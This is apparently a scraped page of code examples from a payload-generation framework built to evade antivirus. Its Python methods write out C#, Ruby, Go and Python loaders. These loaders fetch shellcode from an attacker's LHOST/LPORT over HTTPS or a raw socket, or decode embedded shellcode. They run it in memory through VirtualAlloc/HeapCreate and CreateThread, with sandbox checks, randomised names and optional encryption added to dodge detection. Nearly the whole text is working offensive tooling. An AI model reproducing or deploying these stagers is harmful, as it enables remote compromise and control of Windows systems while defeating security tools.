            validateServerCertficateName)
        payload_code += "WebClient %s = new System.Net.WebClient();\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" % (
            webClientName)
        payload_code += "byte[] %s = null;\n" % (sName)
        payload_code += "try { %s = %s.DownloadData(%s);\n" % (
            sName, webClientName, strName)
        payload_code += "if (%s.Length < 100000) return null;}\n" % (sName)
        payload_code += "catch (WebException) {}\n"
        payload_code += "return %s;}\n" % (sName)

        # code fo the inject() function to inject shellcode
        injectName = evasion_helpers.randomString()
        sName = evasion_helpers.randomString()
        funcAddrName = evasion_helpers.randomString()
        hThreadName = evasion_helpers.randomString()
        threadIdName = evasion_helpers.randomString()
        pinfoName = evasion_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, sName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                sName, funcAddrName, sName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, sName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, sName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, sName, sName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        # code for Main() to launch everything
        sName = evasion_helpers.randomString()
        randomName = evasion_helpers.randomString()
        curlyCount = 0

        payload_code += "static void Main(){\n"

        payload_code2, curlyCount = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" % (
            randomName)
        payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" % (
            sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0], genHTTPChecksumName, randomName)
        payload_code += "%s(%s);}\n" % (injectName, sName)

        while (curlyCount != 0):
            payload_code += '\t' * curlyCount + '}'
            curlyCount -= 1

        # get 12 random variables for the API imports
        r = [evasion_helpers.randomString() for x in range(12)]
        y = [evasion_helpers.randomString() for x in range(17)]
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        if self.required_options["USE_ARYA"][0].lower() == "y":
            payload_code = encryption.arya(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 10
0
    def generate(self):

        # How I'm tracking the number of nested tabs needed
        # to make the payload
        num_ends_required = 0
        payload_code = ''

        # randomly generate out variable names
        payloadName = evasion_helpers.randomString()
        ptrName = evasion_helpers.randomString()
        threadName = evasion_helpers.randomString()
        heap_name = evasion_helpers.randomString()

        payload_code = "require 'rubygems'\n"
        payload_code += "require 'win32/api'\n"
        payload_code += "include Win32\n"
        # Add logic for adding this line, stupid bug and I have no idea
        # why this is even a problem, but ruby is dumb
        if self.required_options["HOSTNAME"][0] != "X" or self.required_options[
                "DOMAIN"][0] != "X" or self.required_options["USERNAME"][
                    0] != "X" or self.required_options["SLEEP"][0] != "X":
            pass
        else:
            payload_code += "exit if Object.const_defined?(:Ocra)\n"

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        # Base64 Encode Shellcode
        Shellcode = base64.b64encode(bytes(Shellcode,
                                           'latin-1')).decode('ascii')

        payload_code2, num_ends_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        # randomly generate out variable names
        payloadName = evasion_helpers.randomString()
        ptrName = evasion_helpers.randomString()
        valloc_random = evasion_helpers.randomString()
        heap_name = evasion_helpers.randomString()
        heapcreate_random = evasion_helpers.randomString()
        heapalloc_random = evasion_helpers.randomString()
        rtlmove_random = evasion_helpers.randomString()
        createthread_random = evasion_helpers.randomString()
        waitfor_random = evasion_helpers.randomString()

        payload_code += "require 'base64'\n"

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
            payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n"
            payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x40)\n"

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
            payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n"
            payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n"
            payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n"

        payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n"

        # Close out all the if statements
        for iteration in range(num_ends_required):
            payload_code += 'end\n'

        self.payload_source_code = payload_code
        return
Exemplo n.º 11
0
    def generate(self):

        payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n"
        # Add logic for adding this line, stupid bug and I have no idea
        # why this is even a problem, but ruby is dumb
        if self.required_options["HOSTNAME"][0] != "X" or self.required_options[
                "DOMAIN"][0] != "X" or self.required_options["USERNAME"][
                    0] != "X" or self.required_options["SLEEP"][0] != "X":
            pass
        else:
            payload_code += "exit if Object.const_defined?(:Ocra)\n"

        if self.required_options["HOSTNAME"][
                0] != "X" or self.required_options["DOMAIN"][0] != "X":
            payload_code += 'require \'socket\'\n'

        payload_code2, num_ends_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        # randomly generate out variable names
        payloadName = evasion_helpers.randomString()
        ptrName = evasion_helpers.randomString()
        threadName = evasion_helpers.randomString()
        valloc_random = evasion_helpers.randomString()
        rtlmove_random = evasion_helpers.randomString()
        createthread_random = evasion_helpers.randomString()
        waitfor_random = evasion_helpers.randomString()
        heapcreate_random = evasion_helpers.randomString()
        heapalloc_random = evasion_helpers.randomString()
        heap_name = evasion_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"

        payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n"

        payload_code += "def g(ip,port)\n"
        payload_code += "\tbegin\n"
        payload_code += "\t\ts = TCPSocket.open(ip, port)\n"
        payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n"
        payload_code += "\t\tp = \"     \"\n"
        payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n"
        payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n"
        payload_code += "\t\tsd = $g_o.call(s.fileno)\n"
        payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n"
        payload_code += "\t\treturn p\n"
        payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n"

        payload_code += "def ij(sc)\n"
        payload_code += "\tif sc.length > 1000\n"

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n"
            payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n"
            payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n"
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n"
            payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n"
            payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n"
            payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n"

        payload_code += "\tend\nend\n"

        payload_code += "ij(g(\"%s\",%s))\n" % (
            self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])

        # Close out all the if statements
        for iteration in range(num_ends_required):
            payload_code += 'end\n'

        self.payload_source_code = payload_code
        return
Exemplo n.º 12
0
    def generate(self):

        payload_code = "require 'rubygems'\n"
        payload_code += "require 'win32/api'\n"
        payload_code += "include Win32\n"

        # Add logic for adding this line, stupid bug and I have no idea
        # why this is even a problem, but ruby is dumb
        if self.required_options["EXPIRE_PAYLOAD"][
                0] != "X" or self.required_options["HOSTNAME"][
                    0] != "X" or self.required_options["DOMAIN"][
                        0] != "X" or self.required_options["USERNAME"][
                            0] != "X":
            pass
        else:
            payload_code += "exit if Object.const_defined?(:Ocra)\n"

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode

        payload_code, num_ends_required = gamemaker.senecas_games(self)

        # randomly generate out variable names
        payloadName = evasion_helpers.randomString()
        ptrName = evasion_helpers.randomString()
        threadName = evasion_helpers.randomString()
        heap_name = evasion_helpers.randomString()
        valloc_random = evasion_helpers.randomString()
        rtlmove_random = evasion_helpers.randomString()
        createthread_random = evasion_helpers.randomString()
        waitfor_random = evasion_helpers.randomString()
        heapcreate_random = evasion_helpers.randomString()
        heapalloc_random = evasion_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
            payload_code += "%s = \"%s\"\n" % (payloadName, Shellcode)
            payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x40)\n"

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
            payload_code += "%s = \"%s\"\n" % (payloadName, Shellcode)
            payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n"
            payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n"

        payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n"

        # Close out all the if statements
        for iteration in range(num_ends_required):
            payload_code += 'end\n'

        self.payload_source_code = payload_code
        return
Exemplo n.º 13
0
    def generate(self):
        memCommit = evasion_helpers.randomString()
        memReserve = evasion_helpers.randomString()
        pageExecRW = evasion_helpers.randomString()
        kernel32 = evasion_helpers.randomString()
        procVirtualAlloc = evasion_helpers.randomString()
        size = evasion_helpers.randomString()
        err = evasion_helpers.randomString()
        wsadata = evasion_helpers.randomString()
        socket = evasion_helpers.randomString()
        socketAddr = evasion_helpers.randomString()
        ip = self.required_options["LHOST"][0].split('.')
        buf = evasion_helpers.randomString()
        dataBuf = evasion_helpers.randomString()
        flags = evasion_helpers.randomString()
        qty = evasion_helpers.randomString()
        scLength = evasion_helpers.randomString()
        sc = evasion_helpers.randomString()
        sc2 = evasion_helpers.randomString()
        total = evasion_helpers.randomString()
        mem = evasion_helpers.randomString()
        buffer_variable = evasion_helpers.randomString()
        handle = evasion_helpers.randomString()
        x = evasion_helpers.randomString()
        value = evasion_helpers.randomString()
        cust_func = evasion_helpers.randomString()
        heapcreatevariable = evasion_helpers.randomString()
        heapallocvariable = evasion_helpers.randomString()
        heapcreateout = evasion_helpers.randomString()
        allocvarout = evasion_helpers.randomString()
        errorvariable = evasion_helpers.randomString()
        errorvariabledos = evasion_helpers.randomString()
        constSize = evasion_helpers.randomString()

        # sandbox check code
        sandbox_checks, num_curlys = gamemaker.senecas_games(self)

        payload_code = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n"
        if self.required_options["PROCESSORS"][0].lower() != "x":
            payload_code += "\"runtime\"\n"

        # Add in other imports based on checks being performed
        if self.required_options["USERNAME"][0].lower() != "x":
            payload_code += "\"strings\"\n\"os/user\"\n"
        if self.required_options["HOSTNAME"][0].lower(
        ) != "x" or self.required_options["PROCCHECK"][0].lower() != 'false':
            if "strings" not in payload_code:
                payload_code += "\"strings\"\n"
        if self.required_options["SLEEP"][0].lower() != "x":
            payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n"
        if self.required_options["BADMACS"][0].lower() != 'false':
            if "net" not in payload_code:
                payload_code += "\"net\"\n"
            if "strings" not in payload_code:
                payload_code += "\"strings\"\n"
        if self.required_options["UTCCHECK"][0].lower() != 'false':
            if "time" not in payload_code:
                payload_code += "\"time\"\n"
        if self.required_options["CURSORCHECK"][0].lower() != 'false':
            if "time" not in payload_code:
                payload_code += "\"time\"\n"

        payload_code += ")\n"

        payload_code += "const (\n"
        payload_code += "%s  = 0x1000\n" % (memCommit)
        payload_code += "%s = 0x2000\n" % (memReserve)
        payload_code += "%s  = 0x40\n)\n" % (pageExecRW)

        payload_code += "var (\n"

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (
                kernel32)
            payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (
                procVirtualAlloc, kernel32)
            payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
                cust_func, size)
            payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (
                allocvarout, err, procVirtualAlloc, size, memReserve,
                memCommit, pageExecRW)
            payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
                allocvarout, err, allocvarout)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
            payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
            payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
            payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
                cust_func, size)
            payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
            payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
            payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
                allocvarout, err, allocvarout)

        payload_code += "func main() {\n"
        # Sandbox code goes here
        if sandbox_checks != '':
            payload_code += sandbox_checks
        payload_code += "const %s = 1000 << 10\n" % (constSize)
        payload_code += "var %s syscall.WSAData\n" % (wsadata)
        payload_code += "syscall.WSAStartup(uint32(0x202), &%s)\n" % (wsadata)
        payload_code += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" % (
            socket)
        payload_code += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" % (
            socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2],
            ip[3])
        payload_code += "syscall.Connect(%s, &%s)\n" % (socket, socketAddr)
        payload_code += "var %s [4]byte\n" % (buf)
        payload_code += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" % (
            dataBuf, buf)
        payload_code += "%s := uint32(0)\n" % (flags)
        payload_code += "%s := uint32(0)\n" % (qty)
        payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" % (
            socket, dataBuf, qty, flags)
        payload_code += "%s := binary.LittleEndian.Uint32(%s[:])\n" % (
            scLength, buf)
        payload_code += "%s := make([]byte, %s)\n" % (sc, scLength)
        payload_code += "var %s []byte\n" % (sc2)
        payload_code += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" % (
            dataBuf, scLength, sc)
        payload_code += "%s = uint32(0)\n" % (flags)
        payload_code += "%s = uint32(0)\n" % (qty)
        payload_code += "%s := uint32(0)\n" % (total)
        payload_code += "for %s < %s {\n" % (total, scLength)
        payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" % (
            socket, dataBuf, qty, flags)
        payload_code += "for i := 0; i < int(%s); i++ {\n" % (qty)
        payload_code += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" % (
            sc2, sc2, sc, total, qty)
        payload_code += "%s, _ := %s(uintptr(%s + 5))\n" % (mem, cust_func,
                                                            scLength)
        payload_code += "%s := (*[%s]byte)(unsafe.Pointer(%s))\n" % (
            buffer_variable, constSize, mem)
        payload_code += "%s := (uintptr)(unsafe.Pointer(%s))\n" % (handle,
                                                                   socket)
        payload_code += "%s[0] = 0xBF\n" % (buffer_variable)
        payload_code += "%s[1] = byte(%s)\n" % (buffer_variable, handle)
        payload_code += "%s[2] = 0x00\n" % (buffer_variable)
        payload_code += "%s[3] = 0x00\n" % (buffer_variable)
        payload_code += "%s[4] = 0x00\n" % (buffer_variable)
        payload_code += "for %s, %s := range %s {\n" % (x, value, sc2)
        payload_code += "%s[%s+5] = %s\n}\n" % (buffer_variable, x, value)
        payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (mem)
        payload_code += '}' * num_curlys

        self.payload_source_code = payload_code
        return
Exemplo n.º 14
0
    def generate(self):
        # Random letter substition variables
        encode_with_this = random.choice(self.hex_letters)
        decode_with_this = random.choice(self.non_hex_letters)

        # Generate Random Variable Names
        subbed_shellcode_variable_name = evasion_helpers.randomString()
        ShellcodeVariableName = evasion_helpers.randomString()
        rand_decoded_letter = evasion_helpers.randomString()
        rand_correct_letter = evasion_helpers.randomString()
        rand_sub_scheme = evasion_helpers.randomString()
        randctypes = evasion_helpers.randomString()
        rand_ptr = evasion_helpers.randomString()
        rand_ht = evasion_helpers.randomString()
        rand_virtual_protect = evasion_helpers.randomString()

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = Shellcode.encode('unicode_escape')
        Shellcode = Shellcode.decode('ascii')
        Shellcode = Shellcode.replace(encode_with_this,
                                      decode_with_this).replace('\\', '\\\\')

        payload_code, num_tabs_required = gamemaker.senecas_games(self)

        # Add in the letter switching code
        payload_code += '\t' * num_tabs_required + 'import codecs\n'
        payload_code += '\t' * num_tabs_required + rand_decoded_letter + ' = b\'%s\'\n' % decode_with_this
        payload_code += '\t' * num_tabs_required + rand_correct_letter + ' = b\'%s\'\n' % encode_with_this
        payload_code += '\t' * num_tabs_required + rand_sub_scheme + ' = bytes.maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n'
        payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ' = b\'' + Shellcode.replace(
            '\\\\', '\\') + '\'\n'
        payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n'
        payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ', _ = codecs.escape_decode(' + subbed_shellcode_variable_name + ')\n'

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":

            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + subbed_shellcode_variable_name + ',' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')))\n'
            payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
            payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            HeapVar = evasion_helpers.randomString()

            # Create Payload File
            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + subbed_shellcode_variable_name + ')))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + subbed_shellcode_variable_name + ',' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')))\n'
            payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 15
0
    def generate(self):
        memCommit = evasion_helpers.randomString()
        memReserve = evasion_helpers.randomString()
        pageExecRW = evasion_helpers.randomString()
        kernel32 = evasion_helpers.randomString()
        procVirtualAlloc = evasion_helpers.randomString()
        base64Url = evasion_helpers.randomString()
        virtualAlloc = evasion_helpers.randomString()
        size = evasion_helpers.randomString()
        allocvarout = evasion_helpers.randomString()
        err = evasion_helpers.randomString()
        randBase = evasion_helpers.randomString()
        length = evasion_helpers.randomString()
        foo = evasion_helpers.randomString()
        random = evasion_helpers.randomString()
        outp = evasion_helpers.randomString()
        i = evasion_helpers.randomString()
        randTextBase64URL = evasion_helpers.randomString()
        getURI = evasion_helpers.randomString()
        sumVar = evasion_helpers.randomString()
        checksum8 = evasion_helpers.randomString()
        uri = evasion_helpers.randomString()
        value = evasion_helpers.randomString()
        tr = evasion_helpers.randomString()
        client = evasion_helpers.randomString()
        hostAndPort = evasion_helpers.randomString()
        port = self.required_options["LPORT"][0]
        host = self.required_options["LHOST"][0]
        response = evasion_helpers.randomString()
        uriLength = randint(5, 255)
        payload = evasion_helpers.randomString()
        bufferVar = evasion_helpers.randomString()
        x = evasion_helpers.randomString()
        heapcreatevariable = evasion_helpers.randomString()
        heapallocvariable = evasion_helpers.randomString()
        heapcreateout = evasion_helpers.randomString()
        cust_func = evasion_helpers.randomString()
        errorvariable = evasion_helpers.randomString()
        errorvariabledos = evasion_helpers.randomString()

        # sandbox check code
        sandbox_checks, num_curlys = gamemaker.senecas_games(self)

        # Todo: randomize import order
        payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n"
        payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n\"crypto/tls\"\n"

        if self.required_options["PROCESSORS"][0].lower() != "x":
            payload_code += "\"runtime\"\n"

        # Add in other imports based on checks being performed
